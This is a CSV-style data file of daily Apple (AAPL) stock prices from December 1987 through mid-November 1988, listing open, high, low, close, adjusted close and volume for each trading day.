-1987-12-01,1.1964285373687744,1.2142857313156128,1.1696428060531616,1.1875,0.9478532075881958,45360000.0,AAPL
-1987-12-02,1.1875,1.1964285373687744,1.1607142686843872,1.1607142686843872,0.9264732599258423,35560000.0,AAPL
-1987-12-03,1.1785714626312256,1.1919642686843872,1.0625,1.0892857313156128,0.8694595694541931,79800000.0,AAPL
-1987-12-04,1.0803571939468384,1.1160714626312256,1.0625,1.0982142686843872,0.8765860795974731,61040000.0,AAPL
-1987-12-07,1.1071428060531616,1.1875,1.1071428060531616,1.1785714626312256,0.9407270550727844,50960000.0,AAPL
-1987-12-08,1.1964285373687744,1.2455357313156128,1.1875,1.2321428060531616,0.9834870100021362,63560000.0,AAPL
-1987-12-09,1.2321428060531616,1.2946428060531616,1.2098214626312256,1.25,0.9977405071258545,44800000.0,AAPL
-1987-12-10,1.2053571939468384,1.2857142686843872,1.1875,1.2410714626312256,0.990613579750061,69160000.0,AAPL
-1987-12-11,1.2410714626312256,1.2410714626312256,1.1964285373687744,1.2142857313156128,0.9692338109016418,30520000.0,AAPL
-1987-12-14,1.2321428060531616,1.3392857313156128,1.2232142686843872,1.3303571939468384,1.0618809461593628,85400000.0,AAPL
-1987-12-15,1.3482142686843872,1.3660714626312256,1.3214285373687744,1.3392857313156128,1.0690075159072876,74760000.0,AAPL
-1987-12-16,1.3482142686843872,1.4196428060531616,1.3303571939468384,1.4017857313156128,1.118894338607788,82600000.0,AAPL
-1987-12-17,1.4464285373687744,1.4553571939468384,1.4017857313156128,1.4017857313156128,1.118894338607788,81480000.0,AAPL
-1987-12-18,1.4107142686843872,1.4732142686843872,1.4017857313156128,1.4464285373687744,1.1545283794403076,75600000.0,AAPL
-1987-12-21,1.4464285373687744,1.4910714626312256,1.4375,1.4910714626312256,1.190162181854248,47040000.0,AAPL
-1987-12-22,1.4910714626312256,1.4910714626312256,1.4464285373687744,1.4821428060531616,1.183035135269165,32200000.0,AAPL
-1987-12-23,1.4910714626312256,1.5267857313156128,1.4732142686843872,1.5089285373687744,1.2044150829315186,42840000.0,AAPL
-1987-12-24,1.5,1.5357142686843872,1.4910714626312256,1.5223214626312256,1.2151055335998535,17486000.0,AAPL
-1987-12-28,1.5089285373687744,1.5178571939468384,1.4107142686843872,1.4375,1.147401213645935,57400000.0,AAPL
-1987-12-29,1.4464285373687744,1.5089285373687744,1.4375,1.5044642686843872,1.2008517980575562,29680000.0,AAPL
-1987-12-30,1.5178571939468384,1.5625,1.5178571939468384,1.5491071939468384,1.2364856004714966,38920000.0,AAPL
-1987-12-31,1.5178571939468384,1.5357142686843872,1.4955357313156128,1.5,1.1972886323928833,29400000.0,AAPL
-1988-01-04,1.5267857313156128,1.5982142686843872,1.5089285373687744,1.5982142686843872,1.275681972503662,82600000.0,AAPL
-1988-01-05,1.6428571939468384,1.6517857313156128,1.5803571939468384,1.59375,1.2721192836761475,77280000.0,AAPL
-1988-01-06,1.6071428060531616,1.6071428060531616,1.5625,1.5625,1.247175693511963,67200000.0,AAPL
-1988-01-07,1.5535714626312256,1.5982142686843872,1.5178571939468384,1.5892857313156128,1.2685561180114746,53200000.0,AAPL
-1988-01-08,1.5892857313156128,1.6160714626312256,1.4107142686843872,1.4285714626312256,1.1402748823165894,121520000.0,AAPL
-1988-01-11,1.4285714626312256,1.5267857313156128,1.4196428060531616,1.5178571939468384,1.211542010307312,101080000.0,AAPL
-1988-01-12,1.5357142686843872,1.5535714626312256,1.4196428060531616,1.5,1.1972886323928833,100240000.0,AAPL
-1988-01-13,1.5,1.5446428060531616,1.46875,1.5089285373687744,1.2044150829315186,52920000.0,AAPL
-1988-01-14,1.5267857313156128,1.53125,1.5,1.5089285373687744,1.2044150829315186,33040000.0,AAPL
-1988-01-15,1.5535714626312256,1.6071428060531616,1.5178571939468384,1.53125,1.2222325801849365,85960000.0,AAPL
-1988-01-18,1.5357142686843872,1.5357142686843872,1.5,1.5267857313156128,1.2186686992645264,31360000.0,AAPL
-1988-01-19,1.5089285373687744,1.5446428060531616,1.4776785373687744,1.5267857313156128,1.2186686992645264,68600000.0,AAPL
-1988-01-20,1.5357142686843872,1.5357142686843872,1.3660714626312256,1.4196428060531616,1.133147954940796,170240000.0,AAPL
-1988-01-21,1.4464285373687744,1.4553571939468384,1.40625,1.4330357313156128,1.1438380479812622,123480000.0,AAPL
-1988-01-22,1.4464285373687744,1.4553571939468384,1.3660714626312256,1.4017857313156128,1.118894338607788,111440000.0,AAPL
-1988-01-25,1.4107142686843872,1.4821428060531616,1.4107142686843872,1.4598214626312256,1.1652183532714844,50120000.0,AAPL
-1988-01-26,1.4553571939468384,1.4642857313156128,1.4017857313156128,1.4196428060531616,1.133147954940796,35840000.0,AAPL
-1988-01-27,1.4375,1.4464285373687744,1.3839285373687744,1.4196428060531616,1.133147954940796,64680000.0,AAPL
-1988-01-28,1.4285714626312256,1.4821428060531616,1.4196428060531616,1.4732142686843872,1.1759082078933716,58240000.0,AAPL
-1988-01-29,1.4821428060531616,1.4910714626312256,1.4375,1.4821428060531616,1.183035135269165,66360000.0,AAPL
-1988-02-01,1.4910714626312256,1.5178571939468384,1.4776785373687744,1.4910714626312256,1.190162181854248,49840000.0,AAPL
-1988-02-02,1.4821428060531616,1.4955357313156128,1.4464285373687744,1.4732142686843872,1.1759082078933716,47880000.0,AAPL
-1988-02-03,1.4642857313156128,1.4732142686843872,1.4017857313156128,1.4107142686843872,1.1260212659835815,56560000.0,AAPL
-1988-02-04,1.4107142686843872,1.4330357313156128,1.3928571939468384,1.4196428060531616,1.133147954940796,49840000.0,AAPL
-1988-02-05,1.4285714626312256,1.4419642686843872,1.375,1.3794642686843872,1.1010783910751343,33040000.0,AAPL
-1988-02-08,1.375,1.4017857313156128,1.3482142686843872,1.3839285373687744,1.1046414375305176,50960000.0,AAPL
-1988-02-09,1.3928571939468384,1.4241071939468384,1.3839285373687744,1.4196428060531616,1.133147954940796,29120000.0,AAPL
-1988-02-10,1.4196428060531616,1.4821428060531616,1.4196428060531616,1.4642857313156128,1.1687819957733154,57120000.0,AAPL
-1988-02-11,1.4642857313156128,1.4732142686843872,1.4375,1.4508928060531616,1.1580915451049805,36960000.0,AAPL
-1988-02-12,1.4508928060531616,1.4821428060531616,1.4464285373687744,1.4642857313156128,1.1710901260375977,34440000.0,AAPL
-1988-02-16,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4732142686843872,1.178230881690979,38640000.0,AAPL
-1988-02-17,1.4732142686843872,1.5178571939468384,1.4732142686843872,1.4955357313156128,1.1960827112197876,64120000.0,AAPL
-1988-02-18,1.4866071939468384,1.5267857313156128,1.4821428060531616,1.4910714626312256,1.1925123929977417,35840000.0,AAPL
-1988-02-19,1.4910714626312256,1.5,1.4821428060531616,1.4910714626312256,1.1925123929977417,22691200.0,AAPL
-1988-02-22,1.4821428060531616,1.5580357313156128,1.4821428060531616,1.5446428060531616,1.2353572845458984,50120000.0,AAPL
-1988-02-23,1.5446428060531616,1.5625,1.5089285373687744,1.5267857313156128,1.2210755348205566,55160000.0,AAPL
-1988-02-24,1.5267857313156128,1.5357142686843872,1.5,1.5089285373687744,1.2067939043045044,36400000.0,AAPL
-1988-02-25,1.5,1.5357142686843872,1.4910714626312256,1.4910714626312256,1.1925123929977417,44800000.0,AAPL
-1988-02-26,1.5,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.1925123929977417,20585600.0,AAPL
-1988-02-29,1.4910714626312256,1.5446428060531616,1.4821428060531616,1.5357142686843872,1.2282160520553589,28000000.0,AAPL
-1988-03-01,1.5446428060531616,1.5535714626312256,1.5178571939468384,1.5446428060531616,1.2353572845458984,42840000.0,AAPL
-1988-03-02,1.5625,1.6071428060531616,1.5535714626312256,1.5982142686843872,1.278201699256897,73080000.0,AAPL
-1988-03-03,1.5892857313156128,1.6785714626312256,1.5892857313156128,1.6607142686843872,1.3281872272491455,118440000.0,AAPL
-1988-03-04,1.6428571939468384,1.6785714626312256,1.625,1.6741071939468384,1.338898777961731,52360000.0,AAPL
-1988-03-07,1.6696428060531616,1.7053571939468384,1.6607142686843872,1.6741071939468384,1.338898777961731,51800000.0,AAPL
-1988-03-08,1.6696428060531616,1.6785714626312256,1.6428571939468384,1.6517857313156128,1.3210467100143433,36120000.0,AAPL
-1988-03-09,1.6517857313156128,1.6875,1.6517857313156128,1.6696428060531616,1.3353278636932373,33600000.0,AAPL
-1988-03-10,1.6785714626312256,1.6875,1.6160714626312256,1.6160714626312256,1.2924836874008179,44240000.0,AAPL
-1988-03-11,1.625,1.6339285373687744,1.5892857313156128,1.6339285373687744,1.3067649602890015,39480000.0,AAPL
-1988-03-14,1.6339285373687744,1.6607142686843872,1.625,1.6517857313156128,1.3210467100143433,24530800.0,AAPL
-1988-03-15,1.6428571939468384,1.6517857313156128,1.5982142686843872,1.6071428060531616,1.2853426933288574,45360000.0,AAPL
-1988-03-16,1.6026785373687744,1.65625,1.5892857313156128,1.6473214626312256,1.3174761533737183,29680000.0,AAPL
-1988-03-17,1.6517857313156128,1.6607142686843872,1.5982142686843872,1.6071428060531616,1.2853426933288574,65240000.0,AAPL
-1988-03-18,1.6071428060531616,1.625,1.5803571939468384,1.5982142686843872,1.278201699256897,68040000.0,AAPL
-1988-03-21,1.5848214626312256,1.59375,1.5357142686843872,1.5669642686843872,1.2532093524932861,56840000.0,AAPL
-1988-03-22,1.5714285373687744,1.5892857313156128,1.5446428060531616,1.5714285373687744,1.2567795515060425,29794800.0,AAPL
-1988-03-23,1.5714285373687744,1.5714285373687744,1.4955357313156128,1.5178571939468384,1.2139347791671753,52360000.0,AAPL
-1988-03-24,1.4910714626312256,1.5178571939468384,1.4285714626312256,1.4598214626312256,1.1675196886062622,80080000.0,AAPL
-1988-03-25,1.4553571939468384,1.4732142686843872,1.4285714626312256,1.4330357313156128,1.1460973024368286,32760000.0,AAPL
-1988-03-28,1.4285714626312256,1.4910714626312256,1.4107142686843872,1.4821428060531616,1.1853710412979126,43120000.0,AAPL
-1988-03-29,1.4821428060531616,1.5,1.4508928060531616,1.4642857313156128,1.1710901260375977,53480000.0,AAPL
-1988-03-30,1.4553571939468384,1.4732142686843872,1.3839285373687744,1.4107142686843872,1.1282451152801514,92960000.0,AAPL
-1988-03-31,1.4196428060531616,1.4464285373687744,1.4017857313156128,1.4285714626312256,1.1425271034240723,54320000.0,AAPL
-1988-04-04,1.4196428060531616,1.4464285373687744,1.375,1.3839285373687744,1.1068230867385864,45360000.0,AAPL
-1988-04-05,1.4017857313156128,1.4107142686843872,1.375,1.4017857313156128,1.121104121208191,36960000.0,AAPL
-1988-04-06,1.4107142686843872,1.4910714626312256,1.3928571939468384,1.4910714626312256,1.1925123929977417,47600000.0,AAPL
-1988-04-07,1.4910714626312256,1.5133928060531616,1.4553571939468384,1.4553571939468384,1.1639491319656372,40880000.0,AAPL
-1988-04-08,1.4553571939468384,1.4910714626312256,1.4196428060531616,1.4642857313156128,1.1710901260375977,50680000.0,AAPL
-1988-04-11,1.4910714626312256,1.5,1.4642857313156128,1.4821428060531616,1.1853710412979126,37240000.0,AAPL
-1988-04-12,1.4910714626312256,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.1925123929977417,43400000.0,AAPL
-1988-04-13,1.4910714626312256,1.5,1.4642857313156128,1.4732142686843872,1.178230881690979,35840000.0,AAPL
-1988-04-14,1.4464285373687744,1.4821428060531616,1.3928571939468384,1.4107142686843872,1.1282451152801514,47040000.0,AAPL
-1988-04-15,1.4196428060531616,1.4285714626312256,1.375,1.4107142686843872,1.1282451152801514,58240000.0,AAPL
-1988-04-18,1.4196428060531616,1.4553571939468384,1.4017857313156128,1.4285714626312256,1.1425271034240723,42560000.0,AAPL
-1988-04-19,1.4330357313156128,1.4821428060531616,1.4330357313156128,1.4375,1.1496670246124268,53082400.0,AAPL
-1988-04-20,1.4375,1.4464285373687744,1.4017857313156128,1.4196428060531616,1.1353856325149536,53760000.0,AAPL
-1988-04-21,1.4419642686843872,1.4464285373687744,1.3928571939468384,1.4107142686843872,1.1282451152801514,44520000.0,AAPL
-1988-04-22,1.4196428060531616,1.4375,1.4107142686843872,1.4330357313156128,1.1460973024368286,26910800.0,AAPL
-1988-04-25,1.4375,1.4642857313156128,1.4285714626312256,1.4598214626312256,1.1675196886062622,37520000.0,AAPL
-1988-04-26,1.4642857313156128,1.4910714626312256,1.4553571939468384,1.4821428060531616,1.1853710412979126,43960000.0,AAPL
-1988-04-27,1.4910714626312256,1.5,1.4821428060531616,1.4910714626312256,1.1925123929977417,31640000.0,AAPL
-1988-04-28,1.4910714626312256,1.5,1.4732142686843872,1.4776785373687744,1.1818009614944458,24791200.0,AAPL
-1988-04-29,1.4732142686843872,1.4821428060531616,1.4464285373687744,1.4642857313156128,1.1710901260375977,22498000.0,AAPL
-1988-05-02,1.4553571939468384,1.4732142686843872,1.4464285373687744,1.4642857313156128,1.1710901260375977,20549200.0,AAPL
-1988-05-03,1.4642857313156128,1.5089285373687744,1.4553571939468384,1.4910714626312256,1.1925123929977417,31080000.0,AAPL
-1988-05-04,1.4955357313156128,1.5401785373687744,1.4910714626312256,1.5,1.1996532678604126,56000000.0,AAPL
-1988-05-05,1.5,1.5089285373687744,1.4821428060531616,1.4910714626312256,1.1925123929977417,17614800.0,AAPL
-1988-05-06,1.4866071939468384,1.4910714626312256,1.4732142686843872,1.4732142686843872,1.178230881690979,26759600.0,AAPL
-1988-05-09,1.4732142686843872,1.4732142686843872,1.4464285373687744,1.4553571939468384,1.1639491319656372,19093200.0,AAPL
-1988-05-10,1.4464285373687744,1.4642857313156128,1.4375,1.4598214626312256,1.1675196886062622,23976400.0,AAPL
-1988-05-11,1.4375,1.4553571939468384,1.4107142686843872,1.4107142686843872,1.1282451152801514,43680000.0,AAPL
-1988-05-12,1.4107142686843872,1.4375,1.4107142686843872,1.4196428060531616,1.1353856325149536,20745200.0,AAPL
-1988-05-13,1.4375,1.4464285373687744,1.4285714626312256,1.4464285373687744,1.1568083763122559,17850000.0,AAPL
-1988-05-16,1.4464285373687744,1.4776785373687744,1.4285714626312256,1.4732142686843872,1.1805649995803833,18690000.0,AAPL
-1988-05-17,1.4821428060531616,1.5,1.4375,1.4464285373687744,1.1591004133224487,48440000.0,AAPL
-1988-05-18,1.4464285373687744,1.4553571939468384,1.4107142686843872,1.4196428060531616,1.137635350227356,43680000.0,AAPL
-1988-05-19,1.4107142686843872,1.4196428060531616,1.375,1.3928571939468384,1.1161705255508423,62440000.0,AAPL
-1988-05-20,1.4017857313156128,1.4107142686843872,1.3839285373687744,1.3839285373687744,1.109015703201294,20434400.0,AAPL
-1988-05-23,1.375,1.3883928060531616,1.3348214626312256,1.3571428060531616,1.0875507593154907,45920000.0,AAPL
-1988-05-24,1.3571428060531616,1.3928571939468384,1.3482142686843872,1.3883928060531616,1.112593412399292,35560000.0,AAPL
-1988-05-25,1.3928571939468384,1.4196428060531616,1.375,1.375,1.1018608808517456,33880000.0,AAPL
-1988-05-26,1.375,1.4107142686843872,1.375,1.40625,1.1269023418426514,21445200.0,AAPL
-1988-05-27,1.4017857313156128,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.137635350227356,20988800.0,AAPL
-1988-05-31,1.4285714626312256,1.4821428060531616,1.4196428060531616,1.4821428060531616,1.1877202987670898,30800000.0,AAPL
-1988-06-01,1.4821428060531616,1.5178571939468384,1.4732142686843872,1.5178571939468384,1.2163397073745728,57400000.0,AAPL
-1988-06-02,1.5,1.5178571939468384,1.4821428060531616,1.4910714626312256,1.194874882698059,33320000.0,AAPL
-1988-06-03,1.4910714626312256,1.5446428060531616,1.4910714626312256,1.5357142686843872,1.230649709701538,43960000.0,AAPL
-1988-06-06,1.5267857313156128,1.5714285373687744,1.5267857313156128,1.5714285373687744,1.2592699527740479,41160000.0,AAPL
-1988-06-07,1.5625,1.6160714626312256,1.5535714626312256,1.5714285373687744,1.2592699527740479,77840000.0,AAPL
-1988-06-08,1.5803571939468384,1.625,1.5714285373687744,1.6071428060531616,1.287889003753662,64680000.0,AAPL
-1988-06-09,1.6071428060531616,1.6160714626312256,1.5446428060531616,1.5535714626312256,1.2449593544006348,67480000.0,AAPL
-1988-06-10,1.5535714626312256,1.5982142686843872,1.5357142686843872,1.5892857313156128,1.273579478263855,44240000.0,AAPL
-1988-06-13,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.287889003753662,37240000.0,AAPL
-1988-06-14,1.6160714626312256,1.6428571939468384,1.6071428060531616,1.6160714626312256,1.295044183731079,73105200.0,AAPL
-1988-06-15,1.6160714626312256,1.6339285373687744,1.6071428060531616,1.6339285373687744,1.309354305267334,30520000.0,AAPL
-1988-06-16,1.6071428060531616,1.6160714626312256,1.5803571939468384,1.5892857313156128,1.273579478263855,26843600.0,AAPL
-1988-06-17,1.5982142686843872,1.5982142686843872,1.5803571939468384,1.5982142686843872,1.2807339429855347,23847600.0,AAPL
-1988-06-20,1.5848214626312256,1.5982142686843872,1.5714285373687744,1.5758928060531616,1.2628470659255981,19650400.0,AAPL
-1988-06-21,1.5714285373687744,1.6071428060531616,1.5669642686843872,1.6026785373687744,1.2843114137649536,30898000.0,AAPL
-1988-06-22,1.625,1.6383928060531616,1.6071428060531616,1.6294642686843872,1.3057764768600464,48890800.0,AAPL
-1988-06-23,1.6339285373687744,1.6339285373687744,1.6071428060531616,1.6071428060531616,1.287889003753662,17847200.0,AAPL
-1988-06-24,1.6071428060531616,1.625,1.5892857313156128,1.6071428060531616,1.287889003753662,18678800.0,AAPL
-1988-06-27,1.5892857313156128,1.6205357313156128,1.5892857313156128,1.5892857313156128,1.273579478263855,20904800.0,AAPL
-1988-06-28,1.5982142686843872,1.6517857313156128,1.5892857313156128,1.6517857313156128,1.3236641883850098,40642000.0,AAPL
-1988-06-29,1.6428571939468384,1.6696428060531616,1.6339285373687744,1.65625,1.3272416591644287,35862400.0,AAPL
-1988-06-30,1.6517857313156128,1.6696428060531616,1.6428571939468384,1.6517857313156128,1.3236641883850098,28672000.0,AAPL
-1988-07-01,1.6607142686843872,1.6741071939468384,1.6517857313156128,1.6607142686843872,1.330818772315979,23634800.0,AAPL
-1988-07-05,1.6607142686843872,1.6875,1.6473214626312256,1.6875,1.3522839546203613,26112800.0,AAPL
-1988-07-06,1.6830357313156128,1.6964285373687744,1.6473214626312256,1.6607142686843872,1.330818772315979,39138400.0,AAPL
-1988-07-07,1.6607142686843872,1.6607142686843872,1.6160714626312256,1.6383928060531616,1.3129314184188843,26401200.0,AAPL
-1988-07-08,1.625,1.6428571939468384,1.6071428060531616,1.6160714626312256,1.295044183731079,26348000.0,AAPL
-1988-07-11,1.625,1.625,1.6026785373687744,1.6116071939468384,1.2914670705795288,18407200.0,AAPL
-1988-07-12,1.6071428060531616,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.2807339429855347,25225200.0,AAPL
-1988-07-13,1.5982142686843872,1.6071428060531616,1.5803571939468384,1.5982142686843872,1.2807339429855347,28792400.0,AAPL
-1988-07-14,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.6071428060531616,1.287889003753662,15702400.0,AAPL
-1988-07-15,1.6071428060531616,1.625,1.5982142686843872,1.6071428060531616,1.287889003753662,20756400.0,AAPL
-1988-07-18,1.6205357313156128,1.6428571939468384,1.6160714626312256,1.625,1.302198886871338,28375200.0,AAPL
-1988-07-19,1.6071428060531616,1.625,1.5669642686843872,1.5982142686843872,1.2807339429855347,30576000.0,AAPL
-1988-07-20,1.5982142686843872,1.6071428060531616,1.5714285373687744,1.5803571939468384,1.266424298286438,30021600.0,AAPL
-1988-07-21,1.5625,1.5714285373687744,1.5267857313156128,1.5357142686843872,1.230649709701538,37256800.0,AAPL
-1988-07-22,1.5357142686843872,1.5446428060531616,1.5178571939468384,1.5178571939468384,1.2163397073745728,25961600.0,AAPL
-1988-07-25,1.5267857313156128,1.5446428060531616,1.5089285373687744,1.5267857313156128,1.2234947681427002,26474000.0,AAPL
-1988-07-26,1.5267857313156128,1.5446428060531616,1.5089285373687744,1.5267857313156128,1.2234947681427002,25382000.0,AAPL
-1988-07-27,1.5267857313156128,1.5446428060531616,1.5178571939468384,1.5267857313156128,1.2234947681427002,29131200.0,AAPL
-1988-07-28,1.5178571939468384,1.5357142686843872,1.5089285373687744,1.5223214626312256,1.2199172973632812,23170000.0,AAPL
-1988-07-29,1.5446428060531616,1.5892857313156128,1.5357142686843872,1.5848214626312256,1.270002007484436,39737600.0,AAPL
-1988-08-01,1.5892857313156128,1.6339285373687744,1.5803571939468384,1.6071428060531616,1.287889003753662,21484400.0,AAPL
-1988-08-02,1.6071428060531616,1.625,1.5892857313156128,1.59375,1.2771573066711426,30321200.0,AAPL
-1988-08-03,1.5982142686843872,1.5982142686843872,1.5714285373687744,1.5982142686843872,1.2807339429855347,27711600.0,AAPL
-1988-08-04,1.5982142686843872,1.6160714626312256,1.5892857313156128,1.59375,1.2771573066711426,17228400.0,AAPL
-1988-08-05,1.5892857313156128,1.6071428060531616,1.5803571939468384,1.5803571939468384,1.266424298286438,13165600.0,AAPL
-1988-08-08,1.5892857313156128,1.5982142686843872,1.5714285373687744,1.5714285373687744,1.2592699527740479,7484400.0,AAPL
-1988-08-09,1.5714285373687744,1.5803571939468384,1.5357142686843872,1.5535714626312256,1.2449593544006348,42506800.0,AAPL
-1988-08-10,1.5625,1.5625,1.4910714626312256,1.4955357313156128,1.1984525918960571,36951600.0,AAPL
-1988-08-11,1.5089285373687744,1.5446428060531616,1.5,1.5446428060531616,1.2378047704696655,26513200.0,AAPL
-1988-08-12,1.5357142686843872,1.5357142686843872,1.5089285373687744,1.5178571939468384,1.2163397073745728,19370400.0,AAPL
-1988-08-15,1.5089285373687744,1.5089285373687744,1.4464285373687744,1.4732142686843872,1.1827937364578247,41669600.0,AAPL
-1988-08-16,1.4642857313156128,1.5446428060531616,1.4553571939468384,1.5178571939468384,1.2186357975006104,30688000.0,AAPL
-1988-08-17,1.5178571939468384,1.5267857313156128,1.4910714626312256,1.5,1.204298973083496,29736000.0,AAPL
-1988-08-18,1.5,1.5357142686843872,1.4910714626312256,1.5178571939468384,1.2186357975006104,18516400.0,AAPL
-1988-08-19,1.5178571939468384,1.5267857313156128,1.4464285373687744,1.4553571939468384,1.1684565544128418,56840000.0,AAPL
-1988-08-22,1.4375,1.4553571939468384,1.4107142686843872,1.4196428060531616,1.1397830247879028,42548800.0,AAPL
-1988-08-23,1.4196428060531616,1.4375,1.4017857313156128,1.4107142686843872,1.1326146125793457,40894000.0,AAPL
-1988-08-24,1.4196428060531616,1.4553571939468384,1.4107142686843872,1.4553571939468384,1.1684565544128418,31368400.0,AAPL
-1988-08-25,1.4375,1.4464285373687744,1.4017857313156128,1.4330357313156128,1.1505357027053833,31920000.0,AAPL
-1988-08-26,1.4285714626312256,1.4553571939468384,1.4285714626312256,1.4375,1.1541197299957275,10038000.0,AAPL
-1988-08-29,1.4553571939468384,1.4642857313156128,1.4464285373687744,1.4598214626312256,1.1720411777496338,14308000.0,AAPL
-1988-08-30,1.4553571939468384,1.4642857313156128,1.4285714626312256,1.4598214626312256,1.1720411777496338,12642000.0,AAPL
-1988-08-31,1.4642857313156128,1.46875,1.4107142686843872,1.4241071939468384,1.1433674097061157,59421600.0,AAPL
-1988-09-01,1.4196428060531616,1.4196428060531616,1.375,1.3883928060531616,1.1146936416625977,61684000.0,AAPL
-1988-09-02,1.4107142686843872,1.4285714626312256,1.3928571939468384,1.4196428060531616,1.1397830247879028,46575200.0,AAPL
-1988-09-06,1.4285714626312256,1.4285714626312256,1.3839285373687744,1.3883928060531616,1.1146936416625977,35862400.0,AAPL
-1988-09-07,1.3928571939468384,1.4107142686843872,1.3482142686843872,1.3660714626312256,1.0967724323272705,44777600.0,AAPL
-1988-09-08,1.3660714626312256,1.4107142686843872,1.3482142686843872,1.3839285373687744,1.1111093759536743,51814000.0,AAPL
-1988-09-09,1.3839285373687744,1.4642857313156128,1.3482142686843872,1.4464285373687744,1.1612886190414429,58668400.0,AAPL
-1988-09-12,1.4642857313156128,1.4910714626312256,1.4330357313156128,1.4642857313156128,1.1756254434585571,37007600.0,AAPL
-1988-09-13,1.4375,1.4732142686843872,1.4285714626312256,1.4642857313156128,1.1756254434585571,29920800.0,AAPL
-1988-09-14,1.4910714626312256,1.5133928060531616,1.4821428060531616,1.5,1.204298973083496,59642800.0,AAPL
-1988-09-15,1.5,1.5267857313156128,1.4821428060531616,1.4866071939468384,1.1935465335845947,41440000.0,AAPL
-1988-09-16,1.4821428060531616,1.5267857313156128,1.4776785373687744,1.5089285373687744,1.2114676237106323,30940000.0,AAPL
-1988-09-19,1.5,1.5089285373687744,1.4732142686843872,1.4910714626312256,1.197130560874939,23032800.0,AAPL
-1988-09-20,1.4910714626312256,1.5089285373687744,1.4776785373687744,1.4821428060531616,1.1899625062942505,25670400.0,AAPL
-1988-09-21,1.4910714626312256,1.5357142686843872,1.4821428060531616,1.5267857313156128,1.2258044481277466,22836800.0,AAPL
-1988-09-22,1.5357142686843872,1.5714285373687744,1.5267857313156128,1.5714285373687744,1.261647343635559,36416800.0,AAPL
-1988-09-23,1.5535714626312256,1.5803571939468384,1.5535714626312256,1.5625,1.2544779777526855,25370800.0,AAPL
-1988-09-26,1.5625,1.5714285373687744,1.5178571939468384,1.5267857313156128,1.2258044481277466,21758800.0,AAPL
-1988-09-27,1.5178571939468384,1.5535714626312256,1.5178571939468384,1.5491071939468384,1.2437256574630737,40745600.0,AAPL
-1988-09-28,1.5535714626312256,1.5758928060531616,1.5446428060531616,1.5535714626312256,1.2473094463348389,21173600.0,AAPL
-1988-09-29,1.5625,1.5803571939468384,1.5535714626312256,1.5714285373687744,1.261647343635559,26518800.0,AAPL
-1988-09-30,1.5714285373687744,1.5714285373687744,1.5446428060531616,1.5446428060531616,1.24014151096344,23223200.0,AAPL
-1988-10-03,1.5357142686843872,1.5446428060531616,1.5,1.5178571939468384,1.2186357975006104,22694000.0,AAPL
-1988-10-04,1.5089285373687744,1.5267857313156128,1.46875,1.4821428060531616,1.1899625062942505,12913600.0,AAPL
-1988-10-05,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4598214626312256,1.1720411777496338,30800000.0,AAPL
-1988-10-06,1.4464285373687744,1.4598214626312256,1.4017857313156128,1.4196428060531616,1.1397830247879028,41941200.0,AAPL
-1988-10-07,1.3928571939468384,1.4196428060531616,1.3705357313156128,1.4196428060531616,1.1397830247879028,114396800.0,AAPL
-1988-10-10,1.4107142686843872,1.4196428060531616,1.3392857313156128,1.375,1.1039409637451172,83160000.0,AAPL
-1988-10-11,1.3660714626312256,1.4107142686843872,1.3660714626312256,1.3928571939468384,1.118277668952942,48638800.0,AAPL
-1988-10-12,1.375,1.3928571939468384,1.3571428060531616,1.3839285373687744,1.1111093759536743,33236000.0,AAPL
-1988-10-13,1.375,1.4196428060531616,1.375,1.3928571939468384,1.118277668952942,41115200.0,AAPL
-1988-10-14,1.4107142686843872,1.4107142686843872,1.3616071939468384,1.3839285373687744,1.1111093759536743,39312000.0,AAPL
-1988-10-17,1.375,1.3928571939468384,1.3660714626312256,1.375,1.1039409637451172,23422000.0,AAPL
-1988-10-18,1.3928571939468384,1.4107142686843872,1.3660714626312256,1.40625,1.1290298700332642,35649600.0,AAPL
-1988-10-19,1.4196428060531616,1.4553571939468384,1.4107142686843872,1.4285714626312256,1.146951675415039,69330800.0,AAPL
-1988-10-20,1.4285714626312256,1.4866071939468384,1.4285714626312256,1.4821428060531616,1.1899625062942505,43366400.0,AAPL
-1988-10-21,1.4732142686843872,1.4910714626312256,1.4553571939468384,1.4642857313156128,1.1756254434585571,30900800.0,AAPL
-1988-10-24,1.4732142686843872,1.4732142686843872,1.4151785373687744,1.4285714626312256,1.146951675415039,33790400.0,AAPL
-1988-10-25,1.4375,1.4375,1.4196428060531616,1.4241071939468384,1.1433674097061157,21296800.0,AAPL
-1988-10-26,1.4285714626312256,1.4285714626312256,1.375,1.4017857313156128,1.1254464387893677,47180000.0,AAPL
-1988-10-27,1.3839285373687744,1.4017857313156128,1.3660714626312256,1.3928571939468384,1.118277668952942,35921200.0,AAPL
-1988-10-28,1.3928571939468384,1.4107142686843872,1.375,1.375,1.1039409637451172,21120400.0,AAPL
-1988-10-31,1.3839285373687744,1.3839285373687744,1.3392857313156128,1.3794642686843872,1.107525110244751,60726400.0,AAPL
-1988-11-01,1.375,1.3839285373687744,1.3482142686843872,1.3571428060531616,1.0896037817001343,35924000.0,AAPL
-1988-11-02,1.3660714626312256,1.3660714626312256,1.3125,1.3303571939468384,1.068098783493042,52130400.0,AAPL
-1988-11-03,1.3303571939468384,1.3392857313156128,1.3125,1.3258928060531616,1.06451416015625,60614400.0,AAPL
-1988-11-04,1.3125,1.3571428060531616,1.3125,1.3482142686843872,1.0824354887008667,38449600.0,AAPL
-1988-11-07,1.3303571939468384,1.3482142686843872,1.3214285373687744,1.3392857313156128,1.0752668380737305,42520800.0,AAPL
-1988-11-08,1.3392857313156128,1.3839285373687744,1.3348214626312256,1.375,1.1039409637451172,38631600.0,AAPL
-1988-11-09,1.3660714626312256,1.40625,1.3571428060531616,1.4017857313156128,1.1254464387893677,50430800.0,AAPL
-1988-11-10,1.4107142686843872,1.4196428060531616,1.3928571939468384,1.4107142686843872,1.1326146125793457,24978800.0,AAPL
-1988-11-11,1.3928571939468384,1.4151785373687744,1.375,1.375,1.1039409637451172,27171200.0,AAPL
-1988-11-14,1.3839285373687744,1.3928571939468384,1.3660714626312256,1.3883928060531616,1.1146936416625977,21308000.0,AAPL
-1988-11-15,1.3928571939468384,1.4017857313156128,1.3839285373687744,1.3928571939468384,1.118277668952942,20000400.0,AAPL
